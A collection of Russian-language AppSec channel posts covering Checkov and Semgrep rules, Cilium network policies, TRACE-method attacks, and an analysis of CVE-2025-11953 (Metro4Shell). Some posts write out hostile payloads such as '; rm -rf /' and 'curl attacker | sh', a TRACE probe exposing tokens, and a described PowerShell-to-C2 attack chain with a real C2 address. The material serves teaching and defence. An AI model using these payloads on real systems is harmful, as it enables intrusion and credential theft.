🛠 Checkov SAST для IAC

Салют,
Давай продолжим с тобой смотреть дальше в сторону инструментов и сегодня мы поговорим про Антона Павл.. Checkov (doc):

Это инструмент для статического анализа (SAST) инфраструктуры как кода (IaC), который сканирует конфигурации на предмет ошибок безопасности и соответствия стандартам до их развертывания. Open-source (Apache 2.0). Форматы отчетов: CLI, JSON, JUnit XML, GitHub Failed Only, GitLab SAST, SARIF, CSV, CycloneDX.

Фишки

• Анализирует Terraform, CloudFormation, Kubernetes‑манифесты, Dockerfile и другие инфраструктурные файлы на ошибки конфигурации
• Подходит для автоматической проверки Docker/IaC в пайплайнах, чтобы не пропускать небезопасные настройки в образах и инфраструктуре
• Может использоваться для быстрой проверки конфигураций перед коммитом, чтобы исключить базовые misconfiguration
• SARIF → GitHub Security, GitLab SAST
• JSON → DefectDojo, Jira
• Поддержка как атрибутных (на Python), так и графовых (на YAML) политик для анализа взаимосвязей ресурсов

Команды

pip install checkov
 
# Сканирование директории
checkov -d /path/to/terraform/code
 
# Запуск только определенных проверок (по ID или severity)
checkov -d . --check CKV_AWS_20,CKV_AWS_57
checkov -d . --check HIGH
 
# Пропуск определенных проверок
checkov -d . --skip-check CKV_AWS_20
 
# Вывод в формате JUnit XML (для CI/CD)
checkov -d . -o junitxml > checkov.xml
 
# Сканирование с загрузкой внешних Terraform модулей
checkov -d . --download-external-modules true
 
# Подавление конкретной проверки в коде (inline comment) checkov:skip=CKV_AWS_20
resource "aws_s3_bucket" "example" {
  bucket = "my-bucket"
  acl    = "private"
}

Встраивание

stage('Checkov') {
  steps {
    script {
      docker.image('bridgecrew/checkov:latest').inside("--entrypoint=''") {
        unstash 'terragoat'
        try {
          sh '''
            checkov -d . --use-enforcement-rules -o cli -o junitxml \
              --output-file-path console,results.xml \
              --repo-id example/terragoat --branch master
          '''
          junit skipPublishingChecks: true, testResults: 'results.xml'
        } catch (err) {
          junit skipPublishingChecks: true, testResults: 'results.xml'
          throw err
        }
      }
    }
  }
  options {
    preserveStashes()
    timestamps()
  }
}

Пример политик

enforcement_rules:
  - name: "prod-enforcement"
    description: "Строгие политики для прод-веток: блокируем Critical/High, предупреждаем по Medium."
    is_default: true
    criteria:
      provider: "terraform"          # к каким сканам применяем
      filter:
        # пример — применять к репо terragoat в ветке master/main
        repo_id: "example/terragoat"
        branches:
          - "master"
          - "main"
    rules:
      - rule_id: "CKV_AWS_*"         # все AWS-политики
        soft_fail_threshold: "MEDIUM"
        hard_fail_threshold: "HIGH"

      - rule_id: "CKV_K8S_*"         # все политики по Kubernetes
        soft_fail_threshold: "MEDIUM"
        hard_fail_threshold: "HIGH"

      - rule_id: "CKV_SECRET_*"      # поиск секретов
        soft_fail_threshold: "LOW"
        hard_fail_threshold: "MEDIUM"

  - name: "dev-relaxed"
    description: "Более мягкие политики для dev/feature-веток."
    is_default: false
    criteria:
      provider: "terraform"
      filter:
        branches:
          - "develop"
          - "feature/*"
    rules:
      - rule_id: "CKV_AWS_*"
        soft_fail_threshold: "HIGH"   # Medium только как инфо
        hard_fail_threshold: "CRITICAL"

      - rule_id: "CKV_K8S_*"
        soft_fail_threshold: "HIGH"
        hard_fail_threshold: "CRITICAL"

      - rule_id: "CKV_SECRET_*"
        soft_fail_threshold: "MEDIUM"
        hard_fail_threshold: "HIGH"

Итого: что бы тебе самому окунуться в него будет круто потыкать вот эту лабку, там ты сразу потыкаешь в Semgrep, который описывал вот тут и SCA Dependency Check.

#toolchain #sast #appsec #course #sca #sbom #containersecurity #reco #techsolution

🛠 Профиль Checkov SAST

Я тут начал пересобирать кастомные профили, да и мне захотелось поделиться с тобой примером под checkov, который рассмотрели. Профиль примера относится к инфра по Docker и Helm.

Цель: минимизировать поверхность атаки контейнеров, исключить хранение секретов в образах и манифестах, а также обеспечить безопасные дефолты для production-сред.

Что делаем?

• Анализируем Dockerfile и Helm-чарты как основной слой упаковки
• Фильтруем предупреждения по enforce/ skip, quiet: false
• Срабатывание в разделе enforce будем считать ошибкой пайплайна
• Для dev-веток переопределяем флагом в CI ошибки как soft-fail: true/ false
• Запрещаем автоматическое скачивание модулей и делаем меньше сетевых зависимостей - download_external_modules: false
• Формируем «белый список» security-политик - run_all_checks: false

Политика

enforce:
  docker:
    - CKV_DOCKER_2      # Контейнер не должен запускаться под root
    - CKV_DOCKER_3      # Минимизировать лишние пакеты и слои
    - CKV_DOCKER_5      # Избегать образов с тегом latest без необходимости
    - CKV_DOCKER_7      # Не использовать ADD вместо COPY
    - CKV_DOCKER_8      # Явно задавать non-root пользователя
    - CKV_DOCKER_9      # Удалять временные файлы, кеши, package manager metadata
    - CKV_DOCKER_10     # Обязательный healthcheck для оркестраторов (k8s, swarm) и SLA
    - CKV_DOCKER_12     # Не хранить секреты в ENV/ ARG/ лейблах образа
    - CKV_DOCKER_13     # Запрет запуска контейнера в privileged режиме
    - CKV_DOCKER_14     # Ограничить Linux capabilities: drop ALL
    - CKV_DOCKER_16     # read-only root filesystem

  helm:
    - CKV_K8S_11         # networkPolicy для контролируемого трафика между подами
    - CKV_K8S_20        # spec.securityContext.privileged: false
    - CKV_K8S_37        # runAsNonRoot: true, runAsUser != 0
    - CKV_K8S_40        # Не хранить чувствительные данные в явном виде в values/ ConfigMap
    - CKV_K8S_14        # hostNetwork/hostPID/hostIPC должны быть false
    - CKV_K8S_38        # securityContext.capabilities: drop ALL, запрещены SYS_ADMIN и подобные
    - CKV_K8S_22        # readOnlyRootFilesystem: true
    - CKV_K8S_8         # Требовать requests/ limits для CPU и памяти

directory:
  # Директория анализа
  - .

file:
  - vulnerable-app/Dockerfile
  - docker-compose.yml
  
# Helm-чарты:
  - helm/service/values.yaml
  - helm/service/templates/deployment.yaml

# skip_check:
#  - CKV_DOCKER_5  # образ тестовой среды жёстко привязан к latest (exmpl)

Пример high-level политики общей

 policy:
   docker:
     require_non_root_user: true  # USER != root
     require_healthcheck: true # HEALTHCHECK
     require_explicit_user: true # Указание USER
     forbid_secrets_in_env: true # ENV/ARG != pswrd/ token
     forbid_default_credentials: true # Запрет admin/admin и т.д.
     drop_all_capabilities_by_default: true # CAP_* по минимуму
     forbid_privileged: true # privileged: false
     forbid_host_network: true # hostNetwork: false
     prefer_read_only_rootfs: true # rootfs read-only

   helm:
     require_pod_security_context: true  # securityContext
     require_network_policies: true # networkPolicy
     forbid_host_path_mounts: true # hostPath монтируется по approve-list
     require_resource_limits: true # requests/limits заданы
     forbid_plaintext_secrets: true  # секреты не хранятся в values.yaml/ConfigMap

#toolchain #sast #appsec #course #reco #techsolution

🤔 Поиск уязвимостей в ПО при эксплуатации

Сегодня послушал классный вебинар с Артемом Храмых из AktivConsulting.
Надеюсь тебе будет доступна скоро запись и ты сможешь отметить основные особенности, а со своей стороны отмечу следующее:

• Контекст реального запуска, где уязвимость видна только с учётом данных, конфигурации, фич‑флагов и окружения
• Важен рабочий вектор атаки, как payload в эффект: RCE, LFI, доступ к данным
• Используются логи, трассировки, RASP/ IAST: видно, какой запрос, какая функция и какие данные дошли до опасной операции
• Баги после авторизации: IDOR, эскалация прав, злоупотребление легальными функциями
• Уязвимость специфична для прод‑конфигурации: IAM, сеть, секреты, версии сервисов
• Уязвимость уже в проде, есть PoC и нужны временные меры до фикса кода

И да, все-таки стоит посмотреть на коллег и их кейсы в AKTIV.CONSULTING @aktivcons.

#reco #reserch #riskanalysis

Немного мемаса, насущное для нас всех под 22% НДС.

#lol

🛠 Semgrep Rules OWASP A03:2024 – Injection (SQL/OS/Expression)

Салют,
Cегодня хочу поделиться с тобой правилами для semgrep по иньекциям по OWASP A03:2024.

Думаю, что буду периодами приводить примеры для возможности их доработки и переиспользования.

Инъекции — класс уязвимостей, где данные попадают в интерпретатор как часть команды или запроса с изменением смысла. Возникает уязвимость, когда приложение не валидирует ввод, а также строит динамические запросы конкатенацией строк. Уязвимость использует данные напрямую в интерпретаторах без параметризации и экранирования. Конкатенация строк — это соединение строк в одну без изменения содержимого.

Типичные векторы атаки A03

1. SQL‑инъекция: SQL‑фрагмент в параметр запроса, тело, cookie или заголовок (SELECT * FROM users WHERE id = '  +  id  +  ' , где id=' OR '1'='1  и запрос возвращает все записи и дает возможность их изменения
2. OS Command Injection: ввод попадает в ОС с выполнением Runtime.exec ,  ProcessBuilder ,  system() ,  sh -c  и т.п. То есть дописываем  ; rm -rf /  или  && curl attacker | sh , добиваясь удалённого исполнения команд на сервере
3. Expression / EL / OGNL‑инъекция: подстановка ввода в движок и его исполнение. То есть выражение обращается к произвольным объектам, либо вызывает метод, читает файлы, выполняет команды и т.д. Принцип: ввод меняет структуру команды/ запроса, а интерпретатор выполняет иную операцию

Пример правил Semgrep по A03:2024

- id: java-sqli-concat-critical
    languages: [java]
    severity: CRITICAL
    message: |
      OWASP A03:2024 (Injection) — возможная SQL-инъекция через конкатенацию
      строк. Используйте PreparedStatement с параметрами.
    patterns:
      - pattern: |
          $STMT = $CONN.createStatement();
          ...
          $STMT.executeQuery("SELECT " + $VAR);
      - pattern: |
          $STMT = $CONN.createStatement();
          ...
          $STMT.execute("SELECT " + $VAR);
      - pattern: |
          $STMT = $CONN.createStatement();
          ...
          $STMT.executeUpdate("SELECT " + $VAR);
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-89"]
      likelihood: "HIGH"
      impact: "HIGH"

  - id: java-sqli-prepared-misuse-high
    languages: [java]
    severity: HIGH
    message: |
      OWASP A03:2024 (Injection) — PreparedStatement. 
      Используйте плейсхолдеры '?' и setXxx().
    pattern: |
      PreparedStatement $PSTMT = $CONN.prepareStatement("SELECT " + $VAR + " FROM " + $TABLE);
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-89"]
      likelihood: "MEDIUM"
      impact: "HIGH"

  - id: java-os-command-injection-runtime
    languages: [java]
    severity: CRITICAL
    message: |
      OWASP A03:2024 (Injection) — возможная командная инъекция через
      Runtime.getRuntime().exec()
    patterns:
      - pattern: |
          Runtime.getRuntime().exec($CMD);
      - pattern: |
          Runtime.getRuntime().exec(new String[] { $A, $B, $C });
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-78"]
      likelihood: "HIGH"
      impact: "CRITICAL"

  - id: java-expression-language-injection
    languages: [java]
    severity: HIGH
    message: |
      OWASP A03:2024 (Injection) — динамическая компиляция/ выполнение выражений.
    patterns:
      - pattern: |
          new org.springframework.expression.spel.standard.SpelExpressionParser()
            .parseExpression($EXPR).getValue($CTX);
      - pattern: |
          $ENGINE.eval($EXPRESSION);
    paths:
      include:
        - "**/*.java"
    metadata:
      owasp_top_10_2024: ["A03:2024-Injection"]
      cwe: ["CWE-94"]

#toolchain #sast #appsec #course #reco #techsolution

🛠 Vulnerable MCP Servers Lab

Немного подворовано, но стоит поделиться, думаю тебе зайдет. По ссылке репа с 9 лабами от AppSecco, посвященных небезопасной реализации MCP.

#toolchain #appsec #course

🛠 Cilium CNI Secure Profile

Салют, я ранее вот тут описывал, что такое CNI, да и рассказал на примерах про Cilium, а сегодня хочу поделиться с тобой полным профилем для него.

В этом профиле пара политик на кластерный baseline и приклад. Давай посмотрим на него поближе. Профиль дает сегментацию кластера и дополнительный app‑aware контроль на уровне HTTP, то есть best practice: кластерный каркас и специфичные правила.

Что делает?

- Вводит default‑deny egress для Pod’ов, кроме DNS и FQDN, чтобы скомпрометированный сервис не мог свободно сливать данные
- CiliumClusterwideNetworkPolicy задаёт жёсткий baseline для всего кластера и базовую защиту multi-tenant
- Ограничивает пути до backend только для БД и конкретных API, а frontend для namespaces
- На L7 (HTTP, gRPC, DNS, SQL‑протоколы, запросы/ методы/ URL внутри трафика) разрешает только определённые методы, тем самым уменьшая API и предотвращая вызовы

apiVersion: "cilium.io/v2"
kind: CiliumClusterwideNetworkPolicy
meta
  name: "cluster-baseline-default-deny-egress"
spec:
  description: |
    Кластерный baseline:
      - DNS (kube-dns/CoreDNS);
      - явный список внешних эндпоинтов

  # Политика применяется ко всем endpoint'ам в кластере
  # если CNP не переопределяет узким matchLabels
  endpointSelector:
    matchLabels: {}

  egress:
    # namespace kube-system
    - toEndpoints:
        - matchLabels:
            "k8s:io.kubernetes.pod.namespace": kube-system
            "k8s-app": kube-dns
      toPorts:
        - ports:
            - port: "53"
              protocol: ANY
          rules:
            dns:
              - matchPattern: "*"  # любые домены

    # трафик к ограниченному списку внешних хостов
    - toFQDNs:
        - matchName: "api.payment.example.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

  # default-deny для egress
  egressDeny:
    - {}

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
meta
  name: "app-frontend-backend-policy"
  namespace: "app-namespace"
spec:
  description: |
      - ingress: только от frontend к backend
      - egress backend'а: только к БД и внешнему API
      - L7 принимает безопасный набор методов

  # backend‑pods по метке
  endpointSelector:
    matchLabels:
      app: my-backend

ingress:
    # трафик от Pod'ов с app=my-frontend
    - fromEndpoints:
        - matchLabels:
            "k8s:io.kubernetes.pod.namespace": app-namespace
            app: my-frontend
      toPorts:
        - ports:
            - port: "8080"
              protocol: TCP
          rules:
            http:
              - method: "GET"
                path: "^/healthz$"
              - method: "GET"
                path: "^/api/public/.*$"
              - method: "POST"
                path: "^/api/orders$"
              - headers:
                 - "X-API-KEY: .+"

  egress:
    # backend'у к базе данных в том же namespace
    - toEndpoints:
        - matchLabels:
            "k8s:io.kubernetes.pod.namespace": app-namespace
            app: my-database
      toPorts:
        - ports:
            - port: "5432"
              protocol: TCP  # PostgreSQL
    # доступ к внешнему API ограниченному кластерным CNP по FQDN
    - toFQDNs:
        - matchName: "api.payment.example.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

#appsec #toolchain #containersecurity #reco #techsolution

🛠 k8s Secure Network Policy

Салют, решил поделиться полезным ресурсом про секьюрные политики сети в продолжении предыдущей темы. Почекать редактор можно вот тут.

networkpolicy.io интерактивный веб‑редактор для Kubernetes, включая политик под Cilium. Сам ресурс помогает проектировать и проводить их чекап для конфига.

Возможности

• Интерактивный выбор namespace, podSelector/ namespaceSelector, ingress/ egress правил, где редактор собирает манифест
• Политики показывают граф в каких pod и namespace могут общаться, а какие потоки заблокированы
• Туториал демонстрирует как реализовать zero‑trust baseline с описанием podSelector/ namespaceSelector, ingress/ egress, принципы add‑only и т.д.
• Имеется возможность загрузить YAML‑манифест для проверки работы cross‑namespace правил, а также вычислять уязвимости безопасности
• Security Score с оценкой политики для кластера к принципам least privilege и zero trust, то есть базовые проверки для default‑deny, покрытия ingress/ egress и т.п.
• Редактор принимает flow‑логи от Hubble/ Cilium и по потокам строит нужные политики
• Политики можно применить в любом кластере, где CNI поддерживается с L7‑функциями

Зачем нам это?

• Помогает уйти от default allow к осознанному default‑deny без риска отказа в обслуживании
• Уменьшает количество типичных ошибок, типа, не тот namespace, не тот selector, отсутствие DNS‑разрешений и т.п.
• Обьясняет на примере и по графу как и что работает, как это поправить
• Обучает и помогает прокачаться быстрее, чем методом "тыка" или ИИ

#appsec #toolchain #reco #specialty

🛠 Вектора атак метода TRACE

Салют, часто спрашиваю встречающихся ребят, кто умеет в DAST и хоть как то трогал API, про метод TRACE и наблюдаю картину, что поверхностно касаются его.

Думаю, что стоит с тобой поделиться описанием с проблемами. Сразу отметим, что метод диагностический и рассматривается как небезопасный, поэтому его отключают, но есть и огрехи, когда он используется или о нем просто забыли, не проверили или так "исторически сложилось".

Описание метода

TRACE выполняет loop‑back‑тест, когда сервер возвращает клиенту точную копию полученного HTTP‑запроса с заголовками (Content-Type и тело). Изначально использовался для отладки прокси‑цепочек для отслеживания изменяющихся заголовков. Пример, когда вернулся запрос, включая cookies и заголовки:

TRACE / HTTP/1.1
Host: vulnerable.example
User-Agent: test-client
Cookie: SESSIONID=abc123; HttpOnly

HTTP/1.1 200 OK
Content-Type: message/http

TRACE / HTTP/1.1
Host: vulnerable.example
User-Agent: test-client
Cookie: SESSIONID=abc123; HttpOnly

Флаги по кодам

• 2xx и особенно с отражением заголовков считаем эксплуатируемыми
• 4xx/ 5xx типа 405/ 501, то есть метод отключён/ не реализован. Как пример, если сервер принимает TRACE и обрабатывает его так же, как обычные запросы, атакующий может использовать TRACE‑запросы как «мусорный» трафик для выбивания лимита по 429 Too Many Requeste

Вектора атак

• Cross‑Site Tracing (XST) для кражи cookies / токенов. OWASP описывает обход HttpOnly и кражу сессионных cookies через TRACE‑ответ. TRACE используется для обхода HttpOnly‑cookies и чтения содержимого. HttpOnly запрещает проход JS к cookie (XSS не валидна), но если браузер отправляет cookie в HTTP‑заголовках, то уязвимый сценарий: добавляется cookie в запрос, далее в ответе браузера они отображаются в теле, где злоумышленник через другую уязвимость (иной XSS / browser bug / кросс‑домен) получает это тело

• XST + XSS/ CSRF для выполнения действий от имени жертвы или иными клиентскими уязвимостями: XSS/ CSRF‑скрипт инициирует TRACE‑запрос к тому же домену, где Cookie и заголовки авторизации попадают в тело ответа. Вследствии скрипт крадёт данные и использует, что бы осуществить вход в аккаунт жертвы. Тут добывается токен/ сессия, даже если они защищены HttpOnly

• TRACE для HTTP‑desync/ cache‑poisoning атак: TRACE позволяет увидеть финальный вид запроса после всех модификаций на прокси. Мы понимаем, что он используется как эхо запрос, где видно, что идет до бэкенда и вследствии получается подмена ответов (cache poisoning), кража, выполнение запросов от имени других пользователей

Пример

1 - Проверка наличия метода

curl -i -X TRACE https://target.example/

2 - Ответ

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 192

TRACE / HTTP/1.1
Host: internal.example
User-Agent: corp-client/5.2
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
X-Forwarded-For: 10.0.5.34
X-Internal-User: 123456
Cookie: SESSIONID=abc123; HttpOnly

Следовательно, токен и cookie можно использовать для персонификации от имени клиента и внутренние заголовки, IP раскрывают структуру инфраструктуры (периметр, сегментация, внутренние сервисы).

Итого: классический XST считается устаревшим, но TRACE до сих пор включён на части серверов (Apache и пр.) и способен раскрывать внутренние заголовки и структуру инфраструктуры, а также работать в связке с SSRF/ RCE и т.д. PortSwigger и OWASP продолжают ссылаться на тесты проверки TRACE в своих чек‑листах безопасности HTTP‑методов именно по этим причинам.

#appsec #toolchain #reco #specialty #reserch

🏆 Коллектив МГТУ им. Баумана награжден орденом "За доблестный труд"

Салют, как участник данного события я буду очень рад поделиться с тобой этой новостью.

Президент России Владимир Путин наградил МГТУ им. Н.Э. Баумана орденом «За доблестный труд», а именно за крупный вклад в развитие отечественной науки, образования и подготовку высококвалифицированных специалистов, что зафиксировано в президентском указе на официальном портале правовых актов.

Роль вуза в награде
• В указе подчёркивается значимый вклад университета в развитие российской науки и системы высшего образования, а также в подготовку инженерных и научных кадров
• МГТУ традиционно считается одним из ведущих технических вузов страны, неоднократно отмечавшимся государственными наградами за научные и образовательные достижения.

Вклад кафедры ИУ8 и ИУ10

• Готовят специалистов по защите информации и информационной безопасности автоматизированных систем, включая значимые объекты критической информационной инфраструктуры
• Учебные программы кафедры ориентированы на анализ угроз и рисков, построение комплексных систем защиты, мониторинг и реагирование на инциденты, безопасность критически важных объектов
• На базе ИУ10 и связанных структур реализуются научные и практические проекты по технической защите информации, киберустойчивости и безопасной разработке, что усиливает практический вклад университета в сферу ИБ
• Преподаватели и руководство награждались ведомственными медалями и отмечались профильными регуляторами, что отражает вклад кафедры в государственную систему защиты информации
• Партнёры из отрасли подчёркивают роль в подготовке специалистов для киберустойчивости финансового и иного критического сектора, в том числе участия в создании киберполигона кредитно‑финансовой сферы
• Кафедра разрабатывает собственные электронные образовательные ресурсы в проекте «Открытый МГТУ», расширяя доступ к профильным знаниям по информационной безопасности и усиливая образовательный вклад университета

Так что классно и приятно, что именно 10ка и моя родная 8ка удостоились этой награды.

Stay tuned 🙏

#appsec #devsecops #course #paper

Салют, напоминание для важных и очень занятых, берегите себя 🫶🙏🙃

#lol

Доброе,
А тут прям то, что надо 😅

#lol

Иногда это так «волнительно»

#lol

Новые смыслы до боли старого и знакомого

#lol

🙃 Новая точка роста канала

Салют,
Я очень рад отметить, что у нас с тобой взята новая планка статы роста, а именно нас уже более 300.

Спасибо тебе, что поддерживаешь меня и мотивируешь, я надеюсь для тебя материалы полезны и ты можешь качаться с ними 🙏

Лучший (-ая), обнял приподнял 🫶

#paper

🥶 Обзор Metro4Shell CVE‑2025‑11953

Салют,
Начала повсеместно светиться интересная уязвимость в React Native Community CLI (Metro dev server), которая может тебе помочь детальнее разобраться в атаках типа RCE.

RCE (Remote Code Execution), - удалённое выполнение кода при которой злоумышленник может удалённо выполнять произвольные команды на целевой системе без физического доступа к ней. То есть возникает из-за бага позволяющей подменить данные приложение вместо заложенной логики.

INTRO CVE‑2025‑11953

JFrog обнаружил Critical RCE‑уязвимость: Metro биндится на внешние интерфейсы и предоставляет HTTP‑эндпоинт: /open-url , который передаёт не проверенный ввод в функцию open() из npm‑пакета open, что приводит к OS Сommand Injection.

CVE‑2025‑11953 allows unauthenticated OS command execution on exposed Metro dev servers, with attacks deploying PowerShell and a Rust payload

Позволяет не аутентифицированному атакующему отправить POST‑запрос на /open-url и выполнить произвольный исполняемый файл или shell на тачке, где запущен Metro dev server, которая затрагиваются версии @react-native-community/cli-server-api с 4.8.0 до 20.0.0‑alpha.2, используемые стандартными командами react-native run-android, run-ios, start.

Атакующие сканирует на доступные Metro‑порты (8081) и отправляют POST на /open-url с Base64 PowerShell‑payload. Скрипт в примере VulnCheck добавляет исключения в Microsoft Defender, устанавливает TCP‑соединение с C2‑сервером 8.218.43.248:60124 , скачивает Rust‑бинарь во временный каталог и запускает его, обеспечивая RCE и возможное закрепление.

Тут ты явно видишь риски утечки конфииденциальных данных по инфраструктуре, а также киберпреступления.

Возможности

• Полный RCE запустившего Metro
• Доступ к исходному коду и конфигурациям dev‑проектов, включая .env, токены облаков, VPN‑конфиги, SSH‑ключи
• Dev тачки как pivot‑точки для lateral movement в корпоративной сети (аналогично Vice Society/ Magniber использовали PrintNightmare для распространения вымогателей, вот тут почекай мою отдельную аналитику, которую давал для лаб)

Эксплуатация уязвимости

• masscan/ nmap/ shodan для поиска Metro, а также открытых портов типа 8081 и наличия /open-url
• Отправка crafted POST‑запроса на /open-url с параметром запуска PowerShell или оболочки Base64‑кодированный powershell -EncodedCommand
• Payload PowerShell отключает САВЗ (антивирус), скачивает Rust bin, запускает и злоумышленник получает устойчивый удалённый доступ и возможность дальнейших операций

Меры снижения риска

• React Native Community @react-native-community/cli до версий, в которых CVE‑2025‑11953 исправлена по информациям из баз Wiz/ NVD
• Забиндить Metro dev server на 127.0.0.1, вместо 0.0.0.0, и закрыть порт фаерволом для внешних адресов
• Проверить lock‑файлы: package-lock.json, yarn.lock, pnpm-lock.yaml на дереве зависимостей
• Мониторинг запросов к /open-url и PowerShell с Base64‑payload
• Запрет на исходящие соединениям к подозрительным хостам и портам, как пример 8.218.43.248:60124
• Обновить секреты
• Запретить Metro на тачках доступных напрямую из интернета, и на shared‑серверах
• Проверить наличие подозрительных бинарей во временных каталогах, задач планировщика, сервисов
• Минимизировать права локальных УЗ разработчиков, а именно использовать отдельные учётки/ токены для особо привилегированных операций (Segregation-of-Duties)

Сноска

8081 - альтернативный HTTP для веб‑сервисов, dev‑серверов и панелей администрирования. Работает поверх TCP и обычно обслуживает HTTP‑трафик, как и порт 80. Также используется как порт для внутренних веб‑консолей и систем управления (CI/CD, security‑консоли, админки приложений, dev/test‑серверы).

#reserch #riskanalysis #appsec #specialty #pmcases #term